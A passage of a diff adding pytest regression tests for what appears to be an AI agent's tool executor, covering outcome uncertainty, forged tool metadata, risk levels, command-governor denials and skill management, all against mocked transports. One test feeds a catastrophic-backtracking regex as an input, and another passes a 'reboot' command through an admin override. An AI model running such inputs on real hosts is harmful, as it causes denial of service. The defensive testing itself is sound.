[("kimi", "kimi"), ("compat", "openai_compatible")]) +def test_pending_legacy_non_codex_model_is_reported_without_reasoning_effort(provider, section): + config = SimpleNamespace(llm_provider=SimpleNamespace(active_provider=provider)) + setattr(config, section, SimpleNamespace(model="legacy-test-model")) + result = agent_display_policy(SimpleNamespace(), SimpleNamespace(config=config)) + assert result["display_model"] == "legacy-test-model" + assert result["display_model_source"] == "current_inheritance" + assert result["display_reasoning_effort"] == "N/A" + assert _live_effort(SimpleNamespace(config=config), provider) == "N/A" + assert _live_model(SimpleNamespace(config=config), provider) == "legacy-test-model" + + +def test_legacy_adapter_non_string_model_is_not_presented_as_execution(): + config = SimpleNamespace(agents=SimpleNamespace(model="auto"), + llm_provider=SimpleNamespace(active_provider="codex"), + openai_codex=SimpleNamespace(model=123)) + result = agent_display_policy(SimpleNamespace(), SimpleNamespace(config=config)) + assert result["display_model"] == "" + assert result["display_model_source"] == "unknown" + assert result["display_source"] == "current_inheritance" + + +def test_unknown_backing_credential_never_grants_browser_authority(): + identity = ApiTokenIdentity(token="not-in-inventory", user_id="test", tier="admin") + sessions = SessionManager() + sid, _ = sessions.create(identity) + request = SimpleNamespace(_api_identity=identity, _session_id=sid, _session_managed=True, + app={"session_manager": sessions}, query={}) + bot = SimpleNamespace(config=Config(discord={"token": "test"})) + assert browser_binding(bot, request) is None diff --git a/tests/test_campaign_evidence_review.py b/tests/test_campaign_evidence_review.py new file mode 100644 index 000000000..337f386cf --- /dev/null +++ b/tests/test_campaign_evidence_review.py @@ -0,0 +1,185 @@ +"""Focused integration contracts. All effects are in-memory or tmp_path evidence.""" + +import asyncio +import json +import time +from pathlib import Path +from types import SimpleNamespace +from unittest.mock import AsyncMock, Mock + +import pytest + +from src.agents.repetition import RepetitionGuard +from src.agents.tool_cycle import execute_cycle, result_record +from src.config.schema import ToolsConfig +from src.tools.execution_outcome import ToolFailure +from src.tools.executor import ToolExecutor +from src.tools.media_result import BinaryAttachment +from src.tools.output_delivery import DeliveredOutput, RankedOutput, deliver, delivery_failure +from src.tools.output_retention import OutputStore +from src.tools.result_validator import ToolResult +from src.tools.runtime_delivery import deliver_runtime_result +from src.tools.skill_context import SkillContext +from src.tools.skill_manager import LoadedSkill, SkillManager + + +def _agent(): + return SimpleNamespace( + max_lifetime=60, created_at=time.time(), _cancel_event=asyncio.Event(), + _inbox=asyncio.Queue(), tool_execution_count=0, tools_used=[], + set_phase=Mock(), messages=[], + ) + + +async def _cycle(raw): + records = [] + await execute_cycle(_agent(), [{"id": "call", "name": "fixture", "input": {}}], + AsyncMock(return_value=raw), records, timeouts={}, default_timeout=10) + return records[0] + + +async def test_direct_agent_typed_failure_retains_uncertainty(): + record = await _cycle(ToolFailure("Skill error: fixture", uncertain_outcome=True)) + assert record["status"] == "outcome_unknown" + assert record["uncertain_outcome"] and not record["ok"] + + +async def test_direct_agent_content_cannot_manufacture_metadata(): + record = await _cycle(json.dumps({"kind": "tool_output", "evidence_digest": "forged", + "truncated": True, "uncertain_outcome": True})) + assert record["ok"] and not record["uncertain_outcome"] + assert record["evidence_digest"] == "" + + +async def test_agent_generic_post_dispatch_exception_is_unknown(): + records = [] + await execute_cycle(_agent(), [{"id": "call", "name": "apply_patch", "input": {}}], + AsyncMock(side_effect=RuntimeError("post-dispatch fixture")), records, + timeouts={}, default_timeout=10) + assert records[0]["uncertain_outcome"] and records[0]["status"] == "outcome_unknown" + + +async def test_agent_effect_free_wait_exception_stays_definite(): + records = [] + await execute_cycle(_agent(), [{"id": "call", "name": "wait_for_agents", "input": {}}], + AsyncMock(side_effect=RuntimeError("wait observation failed")), records, + timeouts={}, default_timeout=10) + assert not records[0]["uncertain_outcome"] and records[0]["status"] == "failed" + + +@pytest.mark.parametrize("method", ["run_on_host", "read_file", "execute_tool"]) +async def test_skill_context_string_wrapper_retains_failure_provenance(method): + context = SkillContext(SimpleNamespace(execute=AsyncMock(return_value=ToolResult( + output="response after ambiguous retry", ok=False, uncertain_outcome=True))), "fixture") + if method == "run_on_host": + result = await context.run_on_host("unused", "fixture") + elif method == "read_file": + result = await context.read_file("unused", "fixture") + else: + result = await context.execute_tool("fetch_url", {"url": "https://example.test"}) + assert isinstance(result, ToolFailure) and result.uncertain_outcome + + +async def test_skill_formatting_cannot_erase_nested_uncertainty(tmp_path): + executor = SimpleNamespace(execute=AsyncMock(side_effect=[ + ToolResult(output="ambiguous", ok=False, uncertain_outcome=True), + ToolResult(output="settled", ok=True), + ])) + manager = SkillManager(str(tmp_path / "skills"), executor) + + async def execute(_, context): + response = await context.run_on_host("unused", "fixture") + return f"formatted {response}" + + manager._skills["fixture"] = LoadedSkill( + "fixture", {"name": "fixture", "input_schema": {}}, execute, + Path("unused.py"), "fixture") + first = await manager.execute("fixture", {}) + assert isinstance(first, ToolFailure) and first.uncertain_outcome + assert first == "formatted ambiguous" + second = await manager.execute("fixture", {}) + assert second == "formatted settled" and not isinstance(second, ToolFailure) + + +@pytest.mark.parametrize("budget", [80, 12000]) +def test_retention_failure_hashes_hidden_evidence_and_reports_truncation(budget): + one = delivery_failure("unavailable", text="prefix" * 5000 + "one" + "suffix" * 5000, + budget=budget) + two = delivery_failure("unavailable", text="prefix" * 5000 + "two" + "suffix" * 5000, + budget=budget) + assert one == two # indistinguishable previews are NOT identical evidence + assert one.evidence_digest and one.evidence_digest != two.evidence_digest + assert one.truncated and two.truncated + + +def test_retrieval_denial_compares_full_evidence(tmp_path): + ex = ToolExecutor(config=ToolsConfig(), memory_path=str(tmp_path / "memory.json")) + ex.check_permission = lambda *_: "denied" + one = ex.deliver_output("p" * 20000 + "one" + "s" * 20000, + tool_name="fixture", tool_input={}, user_id="user") + two = ex.deliver_output("p" * 20000 + "two" + "s" * 20000, + tool_name="fixture", tool_input={}, user_id="user") + assert one == two and one.evidence_digest != two.evidence_digest + + +def test_ranked_repetition_equality_and_hidden_inequality(tmp_path): + store = OutputStore(tmp_path / "ranked.sqlite") + call = {"id": "call", "name": "search_history", "input": {}} + guard = RepetitionGuard() + matches = ("head" * 5000, "hidden", "tail" * 5000) + outputs = [deliver(RankedOutput("summary", matches=matches), store=store, owner="user") + for _ in range(4)] + assert len({out.rsplit("cursor=", 1)[1] for out in outputs}) == 4 + assert [guard.observe([call], [result_record(call, out, "succeeded")]) + for out in outputs] == ["", "", "nudge", "stop"] + changed = deliver(RankedOutput("summary", matches=(matches[0], "change", matches[2])), + store=store, owner="user") + assert guard.observe([call], [result_record(call, changed, "succeeded")]) == "" + + +def test_binary_ranked_full_body_digest_and_truncation(tmp_path): + ex = ToolExecutor(config=ToolsConfig(), memory_path=str(tmp_path / "memory.json")) + ex._output_store = OutputStore(tmp_path / "binary.sqlite") + + def capture(hidden): + return deliver_runtime_result(ex, ToolResult( + output=RankedOutput("summary", matches=("head" * 5000, hidden, "tail" * 5000)), + attachments=(BinaryAttachment(1, "audio", "audio/wav", b"same bytes"),)), + tool_name="fixture", tool_input={}, user_id="user") + + one, repeat, two = capture("one"), capture("one"), capture("two") + assert one.output != repeat.output + assert one.output.evidence_digest == repeat.output.evidence_digest + assert one.output.evidence_digest != two.output.evidence_digest + assert one.truncated and one.output.truncated and one.as_dict()["truncated"] + + +def test_binary_already_delivered_text_preserves_stable_identity(tmp_path): + ex = ToolExecutor(config=ToolsConfig(), memory_path=str(tmp_path / "memory.json")) + ex._output_store = OutputStore(tmp_path / "binary.sqlite") + outputs = [] + for _ in range(2): + text = ex.deliver_output("same" * 10000, tool_name="fixture", tool_input={}, user_id="u") + outputs.append(deliver_runtime_result(ex, ToolResult(output=text, + attachments=(BinaryAttachment(1, "audio", "audio/wav", b"same bytes"),)), + tool_name="fixture", tool_input={}, user_id="u")) + assert outputs[0].output.evidence_digest == outputs[1].output.evidence_digest + assert all(out.truncated for out in outputs) + + +def test_runtime_rewrap_preserves_trusted_flags_and_digest(tmp_path): + ex = ToolExecutor(config=ToolsConfig(), memory_path=str(tmp_path / "memory.json")) + ex._output_store = OutputStore(tmp_path / "rewrap.sqlite") + delivered = ex.deliver_output("evidence" * 10000, tool_name="fixture", + tool_input={}, user_id="u", status="outcome_unknown") + result = deliver_runtime_result(ex, ToolResult(output=delivered, ok=False, + uncertain_outcome=True), tool_name="fixture", tool_input={}, user_id="u") + assert result.output is delivered + assert result.output.evidence_digest and result.output.truncated + assert result.uncertain_outcome and result.truncated and not result.ok + + +def test_short_output_preserves_legacy_string_compatibility(): + assert deliver("short") == "short" and type(deliver("short")) is str + forged = json.dumps({"kind": "tool_output", "evidence_digest": "forged", "truncated": True}) + assert not isinstance(deliver(forged), DeliveredOutput) diff --git a/tests/test_campaign_execution_outcomes.py b/tests/test_campaign_execution_outcomes.py new file mode 100644 index 000000000..f1f241380 --- /dev/null +++ b/tests/test_campaign_execution_outcomes.py @@ -0,0 +1,304 @@ +"""Typed tool settlement and capture provenance, without real commands.""" +from __future__ import annotations + +import asyncio +import json +from pathlib import Path +from types import SimpleNamespace +from unittest.mock import AsyncMock, Mock + +import pytest + +from src.config.schema import ToolsConfig +from src.discord.tool_loop import _unwrap_native_result +from src.tools import ssh +from src.tools.execution_outcome import ToolFailure +from src.tools.executor import ToolExecutor +from src.tools.result_capture import result_capture +from src.tools.result_validator import _is_error_result +from tests.test_hosts_executor_leases import _executor + + +def _proc(text="fixture\n"): + reader = asyncio.StreamReader() + reader.feed_data(text.encode()) + reader.feed_eof() + return SimpleNamespace(stdout=reader, returncode=0, pid=54321, + wait=AsyncMock(return_value=0), + communicate=AsyncMock(return_value=(text.encode(), None))) + + +async def test_zero_ssh_retries_still_dispatches_initial_attempt(monkeypatch): + spawn = AsyncMock(return_value=_proc()) + monkeypatch.setattr(asyncio, "create_subprocess_exec", spawn) + result = await ssh.run_ssh_command("example.test", "fixture", "k", "kh", max_retries=0) + assert result == (0, "fixture\n") + assert spawn.await_count == 1 + + +@pytest.mark.parametrize("remote", [False, True]) +async def test_streaming_large_line_preserves_utf8_and_capture(monkeypatch, remote): + text = "é漢" * 40000 + "\nlast\n" + spawn = AsyncMock(return_value=_proc(text)) + if remote: + monkeypatch.setattr(asyncio, "create_subprocess_exec", spawn) + else: + monkeypatch.setattr("src.tools.local_supervisor.create_supervised_shell", spawn) + cb = AsyncMock() + with result_capture(): + if remote: + code, output = await ssh.run_ssh_command( + "example.test", "fixture", "k", "kh", on_output=cb) + else: + code, output = await ssh.run_local_command("fixture", on_output=cb) + assert code == 0 and output == text + assert "".join(call.args[0] for call in cb.await_args_list) == text + + +@pytest.mark.parametrize("remote", [False, True]) +async def test_stream_read_failure_cleans_owned_child(monkeypatch, remote): + proc = _proc() + proc.stdout = SimpleNamespace(read=AsyncMock(side_effect=RuntimeError("read failed"))) + proc.returncode = None + spawn = AsyncMock(return_value=proc) + cleanup = AsyncMock() + monkeypatch.setattr(ssh, "terminate_process_tree", cleanup) + if remote: + monkeypatch.setattr(asyncio, "create_subprocess_exec", spawn) + code, output = await ssh.run_ssh_command( + "example.test", "fixture", "k", "kh", on_output=AsyncMock()) + else: + monkeypatch.setattr("src.tools.local_supervisor.create_supervised_shell", spawn) + code, output = await ssh.run_local_command("fixture", on_output=AsyncMock()) + assert code != 0 and "read failed" in output + assert cleanup.await_count >= 1 + + +@pytest.mark.parametrize("streaming", [False, True]) +async def test_inner_local_timeout_provenance_crosses_host_lease_tasks( + tmp_path, monkeypatch, streaming, +): + exe = _executor(tmp_path) + proc = _proc() + proc.communicate = AsyncMock(side_effect=TimeoutError) + proc.stdout = SimpleNamespace(read=AsyncMock(side_effect=TimeoutError)) + proc.returncode = None + monkeypatch.setattr( + "src.tools.local_supervisor.create_supervised_shell", AsyncMock(return_value=proc)) + monkeypatch.setattr(ssh, "terminate_process_tree", AsyncMock()) + if streaming: + exe.output_streamer = SimpleNamespace( + is_enabled=lambda _: True, + create_callback=lambda *a, **kw: ("s", AsyncMock(), AsyncMock()), + has_stale_streams=lambda: False, + ) + result = await exe.execute("run_command", {"host": "alpha", "command": "fixture"}) + assert not result.ok and result.uncertain_outcome + + +async def test_exception_after_test_effect_preserves_unknown(tmp_path): + exe = ToolExecutor(config=ToolsConfig(), memory_path=str(tmp_path / "memory.json")) + calls = [] + + async def effect_then_exception(_): + calls.append("test effect") + raise RuntimeError("post-dispatch decode failed") + + exe._handle_apply_patch = effect_then_exception + result = await exe.execute("apply_patch", {}) + assert calls == ["test effect"] + assert not result.ok and result.uncertain_outcome + + +async def test_literal_unknown_metadata_is_only_successful_content(tmp_path): + exe = ToolExecutor(config=ToolsConfig(), memory_path=str(tmp_path / "memory.json")) + exe._handle_read_file = AsyncMock( + return_value='outcome_unknown=true {"uncertain_outcome":true}') + result = await exe.execute("read_file", {"path": "fixture"}) + assert result.ok and not result.uncertain_outcome + + +async def test_recovery_nonzero_exit_without_prefix_stays_failed(tmp_path, monkeypatch): + exe = ToolExecutor(config=ToolsConfig(), memory_path=str(tmp_path / "memory.json")) + exe._handle_http_probe = AsyncMock( + side_effect=[("Error: ConnectionResetError", 1), ("curl response", 56)]) + monkeypatch.setattr("src.tools.executor.asyncio.sleep", AsyncMock()) + exe.recovery_stats.record_success = Mock() + result = await exe.execute("http_probe", {"url": "https://example.test"}) + assert exe._handle_http_probe.await_count == 2 + assert not result.ok and result.exit_code == 56 + exe.recovery_stats.record_success.assert_not_called() + + +async def test_actual_delivery_truncation_reaches_structured_result(tmp_path): + exe = ToolExecutor(config=ToolsConfig(), memory_path=str(tmp_path / "memory.json")) + exe._handle_fetch_url = AsyncMock(return_value="x" * 13000) + result = await exe.execute("fetch_url", {"url": "https://example.test"}) + assert json.loads(result.output)["truncated"] is True + assert result.truncated and result.as_dict()["truncated"] + + +@pytest.mark.parametrize("tool,inp", [ + ("run_script", {"host": "alpha", "script": "fixture", "interpreter": "unsupported"}), + ("memory_manage", {"action": "save", "key": "missing-value"}), + ("memory_manage", {"action": "delete"}), + ("memory_manage", {"action": "unknown"}), +]) +async def test_real_rejections_use_typed_failure(tmp_path, tool, inp): + exe = _executor(tmp_path) + result = await exe.execute(tool, inp) + assert not result.ok and not result.uncertain_outcome + + +def test_native_typed_failure_survives_shared_consumers(): + raw = ToolFailure("Skill error: fixture", uncertain_outcome=True) + result, text = _unwrap_native_result(raw) + assert result is not None and not result.ok and result.uncertain_outcome + assert text == raw and _is_error_result(raw) + + +def test_first_corrupt_memory_warning_on_young_host(tmp_path, monkeypatch): + from src.json_store import StoreCorruptError + + exe = ToolExecutor(config=ToolsConfig(), memory_path=str(tmp_path / "memory.json")) + monkeypatch.setattr(exe, "_load_all_memory", Mock(side_effect=StoreCorruptError("fixture"))) + monkeypatch.setattr("src.tools.executor.time.monotonic", lambda: 100) + error = Mock() + monkeypatch.setattr("src.tools.executor.log.error", error) + assert exe._load_all_memory_safe() == {"global": {}} + exe._load_all_memory_safe() + assert error.call_count == 1 + + +@pytest.mark.parametrize("failure", ["exception", "timeout"]) +async def test_real_skill_manager_failure_retains_native_and_deferred_metadata(tmp_path, failure): + from src.tools.runtime_delivery import deliver_runtime_result + from src.tools.skill_manager import LoadedSkill, SkillManager + + exe = ToolExecutor(config=ToolsConfig(), memory_path=str(tmp_path / "memory.json")) + manager = SkillManager(str(tmp_path / "skills"), exe, tool_timeouts={"fixture": 0.01}) + effects = [] + + async def execute(_inp, _context): + effects.append("test effect") + if failure == "timeout": + await asyncio.Event().wait() + raise RuntimeError("post-effect fixture failure") + + manager._skills["fixture"] = LoadedSkill( + "fixture", {"name": "fixture", "input_schema": {}}, execute, + Path("unused-fixture.py"), "fixture", + ) + raw = await manager.execute("fixture", {}) + assert effects == ["test effect"] + assert isinstance(raw, ToolFailure) and raw.uncertain_outcome + native, _ = _unwrap_native_result(raw) + deferred = deliver_runtime_result(exe, raw, tool_name="fixture", tool_input={}, user_id="u") + assert native is not None and not native.ok and native.uncertain_outcome + assert not deferred.ok and deferred.uncertain_outcome + + +@pytest.mark.parametrize("failure", ["exception", "inner-timeout"]) +async def test_dispatch_failure_is_durably_unknown_and_fenced(tmp_path, monkeypatch, failure): + from src.turn_state import OpState, StaleTurnError, TurnStateStore + from tests.test_executor_timeout_durability import ( + _durability, + _ledger_state, + _record_and_start, + _runner, + _state, + ) + + tools = ToolsConfig() + exe = ToolExecutor(config=tools, memory_path=str(tmp_path / "memory.json")) + runner = _runner(exe, tools) + store = TurnStateStore(tmp_path / "turns.sqlite3") + durability = await _durability(store) + block = SimpleNamespace(name="run_command", input={"host": "unused", "command": "fixture"}, + id="dispatch-failure", parse_error=None) + await _record_and_start(durability, block) + effects = [] + + async def handler(_): + effects.append("test effect") + if failure == "exception": + raise RuntimeError("decode after dispatch") + code, output = await ssh.run_local_command("fixture") + return output, code + + exe._handle_run_command = handler + proc = _proc() + proc.communicate = AsyncMock(side_effect=TimeoutError) + monkeypatch.setattr( + "src.tools.local_supervisor.create_supervised_shell", AsyncMock(return_value=proc)) + monkeypatch.setattr(ssh, "terminate_process_tree", AsyncMock()) + await runner._run_one_tool_with_timeout(_state(durability), block) + assert effects == ["test effect"] + assert _ledger_state(store, durability, block.id) == OpState.OUTCOME_UNKNOWN + with pytest.raises(StaleTurnError): + await durability.before_tool(block) + await durability.settle_terminal(cancelled=False, is_error=True) + store.close() + + +async def test_approved_generic_exception_recovery_still_retries(tmp_path, monkeypatch): + exe = ToolExecutor(config=ToolsConfig(), memory_path=str(tmp_path / "memory.json")) + exe._handle_read_file = AsyncMock( + side_effect=[ConnectionResetError("ConnectionResetError fixture"), "recovered"]) + monkeypatch.setattr("src.tools.executor.asyncio.sleep", AsyncMock()) + result = await exe.execute("read_file", {"path": "fixture"}) + assert exe._handle_read_file.await_count == 2 + assert "recovered" in result.output + assert result.ok and result.uncertain_outcome + assert result.error is None + assert exe.recovery_stats.get_summary()["totals"]["successes"] == 1 + + +async def test_approved_ssh_timeout_retry_keeps_earlier_dispatch_uncertainty(tmp_path, monkeypatch): + exe = ToolExecutor(config=ToolsConfig(), memory_path=str(tmp_path / "memory.json")) + first, second = _proc(), _proc("retry response") + first.communicate = AsyncMock(side_effect=TimeoutError) + spawn = AsyncMock(side_effect=[first, second]) + monkeypatch.setattr(asyncio, "create_subprocess_exec", spawn) + monkeypatch.setattr(ssh, "terminate_process_tree", AsyncMock()) + monkeypatch.setattr("src.tools.ssh.asyncio.sleep", AsyncMock()) + + async def handler(_): + code, text = await ssh.run_ssh_command( + "example.test", "fixture", "k", "kh", max_retries=2) + return text, code + + exe._handle_run_command = handler + result = await exe.execute("run_command", {}) + assert spawn.await_count == 2 # approved #425 behavior is still intact + assert "retry response" in result.output + assert result.ok and result.uncertain_outcome + assert result.exit_code == 0 and result.error is None + + +async def test_local_spawn_refusal_is_definite_before_dispatch(tmp_path, monkeypatch): + exe = ToolExecutor(config=ToolsConfig(), memory_path=str(tmp_path / "memory.json")) + monkeypatch.setattr("src.tools.local_supervisor.create_supervised_shell", + AsyncMock(side_effect=PermissionError("fixture spawn refused"))) + + async def handler(_): + code, text = await ssh.run_local_command("fixture") + return text, code + + exe._handle_run_command = handler + result = await exe.execute("run_command", {}) + assert not result.ok and not result.uncertain_outcome + + +async def test_stream_callback_failure_reaps_owned_child(monkeypatch): + proc = _proc() + proc.returncode = None + monkeypatch.setattr( + "src.tools.local_supervisor.create_supervised_shell", AsyncMock(return_value=proc)) + cleanup = AsyncMock() + monkeypatch.setattr(ssh, "terminate_process_tree", cleanup) + callback = AsyncMock(side_effect=RuntimeError("fixture consumer failed")) + code, output = await ssh.run_local_command("fixture", on_output=callback) + assert code != 0 and "consumer failed" in output + assert cleanup.await_count >= 1 + assert all(call.kwargs.get("owned_pgid") == proc.pid for call in cleanup.await_args_list) diff --git a/tests/test_campaign_execution_risk.py b/tests/test_campaign_execution_risk.py new file mode 100644 index 000000000..46d812836 --- /dev/null +++ b/tests/test_campaign_execution_risk.py @@ -0,0 +1,50 @@ +"""Risk is observational metadata; verify action-aware parity without effects.""" +from __future__ import annotations + +from types import SimpleNamespace +from unittest.mock import AsyncMock + +import pytest + +from src.discord.tool_loop import ToolLoopRunner +from src.tools.result_validator import ToolResult +from src.tools.risk_classifier import RiskLevel, classify_tool + + +@pytest.mark.parametrize("tool,inp,level", [ + ("http_probe", {"method": "GET"}, RiskLevel.LOW), + ("http_probe", {"method": "PATCH"}, RiskLevel.HIGH), + ("memory_manage", {"action": "get"}, RiskLevel.LOW), + ("memory_manage", {"action": "save"}, RiskLevel.MEDIUM), + ("manage_list", {"action": "add"}, RiskLevel.MEDIUM), + ("manage_process", {"action": "poll"}, RiskLevel.LOW), + ("manage_process", {"action": "kill"}, RiskLevel.HIGH), + ("validate_action", {"checks": [{"type": "port", "target": "80"}]}, RiskLevel.LOW), + ("validate_action", {"checks": [{"type": "command", "target": "fixture"}]}, RiskLevel.HIGH), + ("ingest_document", {}, RiskLevel.MEDIUM), + ("schedule_task", {}, RiskLevel.HIGH), + ("update_schedule", {}, RiskLevel.HIGH), + ("create_skill", {}, RiskLevel.HIGH), + ("invoke_skill", {}, RiskLevel.HIGH), + ("start_loop", {}, RiskLevel.HIGH), + ("spawn_agent", {}, RiskLevel.LOW), # settled affordance is unchanged +]) +def test_actual_names_and_action_aware_risk(tool, inp, level): + assert classify_tool(tool, inp).level == level + + +@pytest.mark.parametrize("structured", [False, True]) +async def test_foreground_native_and_executor_audit_use_shared_assessment(structured): + runner = ToolLoopRunner.__new__(ToolLoopRunner) + runner._audit = SimpleNamespace(log_execution=AsyncMock(), log_event=AsyncMock()) + st = SimpleNamespace( + message=SimpleNamespace(author=SimpleNamespace(id="u"), + channel=SimpleNamespace(id="c")), iteration=1, + ) + tool, inp = "http_probe", {"method": "POST"} + result = ToolResult("fixture") if structured else None + await runner._audit_tool_outcome(st, tool, inp, "fixture", 1, None, result, call_id="call") + kwargs = runner._audit.log_execution.await_args.kwargs + expected = classify_tool(tool, inp) + assert kwargs["risk_level"] == expected.level.value + assert kwargs["risk_reason"] == expected.reason diff --git a/tests/test_campaign_execution_validation.py b/tests/test_campaign_execution_validation.py new file mode 100644 index 000000000..c1a11e3aa --- /dev/null +++ b/tests/test_campaign_execution_validation.py @@ -0,0 +1,87 @@ +"""Execution campaign regressions; transports and governors are inert fakes.""" +from __future__ import annotations + +import asyncio +import json +import subprocess +import sys +from types import SimpleNamespace +from unittest.mock import AsyncMock + +import pytest + +from src.tools.post_validation import Check, _evaluate, run_bundle +from tests.test_hosts_executor_leases import _executor + + +@pytest.mark.parametrize("output,status", [("0", "pass"), ("", "fail")]) +def test_equals_preserves_numeric_zero(output, status): + check = Check("command", "fixture", expected=0, compare="equals") + assert _evaluate(check, 0, output)[0] == status + + +def test_brace_quantifier_has_real_deadline_in_isolation(): + # A subprocess timeout is the test's backstop, not the production bound. + code = ( + "import json; from src.tools.post_validation import Check, _evaluate; " + "print(json.dumps(_evaluate(Check('command', 'fixture', " + "expected='(a{1,}){1,}b', compare='regex_match'), 0, 'a'*10000)))" + ) + proc = subprocess.run([sys.executable, "-c", code], capture_output=True, text=True, timeout=5) + assert proc.returncode == 0, proc.stderr + status, error = json.loads(proc.stdout) + assert status == "error" and "deadline" in error + + +async def test_regex_evaluation_does_not_block_event_loop(): + ticked = asyncio.Event() + + async def heartbeat(): + await asyncio.sleep(0.005) + ticked.set() + + task = asyncio.create_task(heartbeat()) + report = await run_bundle( + [{"type": "command", "target": "fixture", "compare": "regex_match", + "expected": "(a{1,}){1,}b"}], bundle_name="deadline", default_host=None, + resolve_host=lambda _: ("localhost", "root", "linux"), + exec_command=AsyncMock(return_value=(0, "a" * 10000)), + ) + assert ticked.is_set() + await task + assert report.errored == 1 + + +@pytest.mark.parametrize("compare,expected", [("exit_nonzero", None), ("not_contains", "absent")]) +@pytest.mark.parametrize("raises", [False, True]) +async def test_real_validation_governor_refusal_cannot_pass(tmp_path, compare, expected, raises): + exe = _executor(tmp_path) + + class Governor: + def check(self, _command): + if raises: + raise RuntimeError("fixture governor unavailable") + return SimpleNamespace(allowed=False, denial_message=lambda: "fixture denied") + + exe.command_governor = Governor() + exe._exec_command = AsyncMock(side_effect=AssertionError("must never dispatch")) + report = json.loads(await exe.validation_tools._handle_validate_action({ + "format": "json", "default_host": "alpha", + "checks": [{"type": "command", "target": "fixture", "compare": compare, + **({"expected": expected} if expected is not None else {})}], + })) + assert report["verdict"] == "error" + assert report["checks"][0]["status"] == "error" + assert "governor" in report["checks"][0]["error"] + exe._exec_command.assert_not_awaited() + + +async def test_invalid_probe_never_pins_host_generation(tmp_path): + exe = _executor(tmp_path) + exe._exec_command = AsyncMock(side_effect=AssertionError("must never dispatch")) + raw = await exe.browser_web_tools._handle_http_probe({ + "host": "alpha", "url": "https://example.test", "method": "POST", "body": "x" * 60000, + }) + assert raw[1] == 1 + assert not exe.host_registry.has_active_leases("alpha") + exe._exec_command.assert_not_awaited() diff --git a/tests/test_campaign_governor_skills.py b/tests/test_campaign_governor_skills.py new file mode 100644 index 000000000..592fb27af --- /dev/null +++ b/tests/test_campaign_governor_skills.py @@ -0,0 +1,373 @@ +"""Campaign regressions using real managers/executors and inert transports.""" +from __future__ import annotations + +import inspect +import json +from email.message import Message +from types import SimpleNamespace +from unittest.mock import AsyncMock + +import pytest + +from src.config.schema import ToolsConfig +from src.tools.executor import ToolExecutor +from src.tools.output_authorization import request_scope_authorizer, request_tool_scope +from src.tools.risk_classifier import CommandGovernor, RiskLevel, classify_command +from src.tools.skill_context import SKILL_SAFE_TOOLS, SkillContext +from src.tools.skill_manager import SkillManager, SkillStatus + + +class Permissions: + def __init__(self, tier="admin"): + self.tier = tier + + def get_tier(self, user): + return self.tier + + def allowed_tool_names(self, user): + return None if self.tier == "admin" else set() + + +def executor(tmp_path, permissions=None): + config = ToolsConfig(hosts={"lab": {"address": "127.0.0.1", "ssh_user": "root"}}, + default_host="lab", audit_log_path=str(tmp_path / "audit.jsonl")) + ex = ToolExecutor(config, permission_manager=permissions) + ex._exec_command = AsyncMock(return_value=(0, "transport output")) + return ex + + +def skill_code(name="demo", result="ok"): + definition = {"name": name, "description": "demo", "input_schema": { + "type": "object", "properties": {}}} + return (f"SKILL_DEFINITION = {definition!r}\n" + f"async def execute(inp, context):\n return {result!r}\n") + + +def manager(tmp_path): + return SkillManager(str(tmp_path / "skills"), AsyncMock()) + + +async def test_disabled_edit_keeps_ledger_catalog_and_dispatch(tmp_path): + mgr = manager(tmp_path) + mgr.create_skill("demo", skill_code()) + mgr.disable_skill("demo") + assert "updated" in mgr.edit_skill("demo", skill_code(result="new")) + assert mgr._skills["demo"].status == SkillStatus.DISABLED + assert json.loads(mgr._disabled_path.read_text()) == ["demo"] + assert mgr.get_tool_definitions() == [] + assert "disabled" in await mgr.execute("demo", {}) + assert not manager(tmp_path).is_enabled("demo") + + +@pytest.mark.parametrize("enabled", [True, False]) +def test_failed_activation_persistence_does_not_publish(tmp_path, monkeypatch, enabled): + mgr = manager(tmp_path) + mgr.create_skill("demo", skill_code()) + if not enabled: + mgr.disable_skill("demo") + old_status = mgr._skills["demo"].status + old_disabled = mgr._disabled.copy() + old_catalog = mgr.get_tool_definitions() + def fail(*args): + raise PermissionError("storage refused") + monkeypatch.setattr("src.tools.skill_manager.os.replace", fail) + with pytest.raises(PermissionError): + (mgr.disable_skill if enabled else mgr.enable_skill)("demo") + assert mgr._skills["demo"].status == old_status + assert mgr._disabled == old_disabled + assert mgr.get_tool_definitions() == old_catalog + assert manager(tmp_path).is_enabled("demo") == enabled + + +def test_loaded_artifact_identity_survives_edit_rollback_delete_restart(tmp_path): + mgr = manager(tmp_path) + artifact = mgr.skills_dir / "custom_filename.py" + artifact.write_text(skill_code()) + mgr = manager(tmp_path) + assert "updated" in mgr.edit_skill("demo", skill_code(result="new")) + assert not (mgr.skills_dir / "demo.py").exists() + assert "Reverted" in mgr.edit_skill("demo", skill_code(name="other")) + assert artifact.read_text() == skill_code(result="new") + assert manager(tmp_path)._skills["demo"].file_path == artifact + assert "deleted" in mgr.delete_skill("demo") + assert not artifact.exists() + assert not manager(tmp_path).has_skill("demo") + + +@pytest.mark.parametrize("denial", ["scope", "live_scope", "disabled", "demoted", "strict", + "host", "host_access"]) +async def test_real_executor_skill_shell_helper_preserves_admission(tmp_path, denial): + permissions = Permissions() + ex = executor(tmp_path, permissions) + ctx = SkillContext(ex, "demo", requester_id="admin") + scope = request_tool_scope.set({"demo"} if denial == "scope" else None) + live = request_scope_authorizer.set((lambda: {"demo"}) if denial == "live_scope" else None) + command = "systemctl restart example.service" if denial == "strict" else "printf safe" + alias = "missing" if denial == "host" else "lab" + if denial == "demoted": + permissions.tier = "guest" + if denial == "disabled": + ex.set_builtin_policy(SimpleNamespace(is_disabled=lambda tool: tool == "run_command")) + if denial == "strict": + ex.command_governor = CommandGovernor(host_overrides={"lab": "strict"}) + if denial == "host_access": + ex._host_access = SimpleNamespace(is_host_allowed=lambda user, host: False) + try: + output = await ctx.run_on_host(alias, command) + assert "output" not in output + ex._exec_command.assert_not_awaited() + finally: + request_scope_authorizer.reset(live) + request_tool_scope.reset(scope) + + +async def test_skill_shell_helper_preserves_admin_override_and_generation_lease(tmp_path): + ex = executor(tmp_path, Permissions()) + ctx = SkillContext(ex, "demo", requester_id="admin") + from src.tools.executor import _host_lease_ctx + + async def inert_transport(*args, **kwargs): + lease = _host_lease_ctx.get() + assert lease is not None and not lease.revoked + assert lease.target.alias == "lab" + return 0, "transport output" + + ex._exec_command = AsyncMock(side_effect=inert_transport) + output = await ctx.run_on_host("lab", "reboot") + # Inert transport proves the configured override is unchanged, no reboot. + assert "transport output" in output + ex._exec_command.assert_awaited_once() + assert ex._exec_command.call_args.kwargs["use_workspace"] is True + ex._exec_command.reset_mock() + ex.command_governor = CommandGovernor(admin_can_override=False) + assert "Blocked" in await 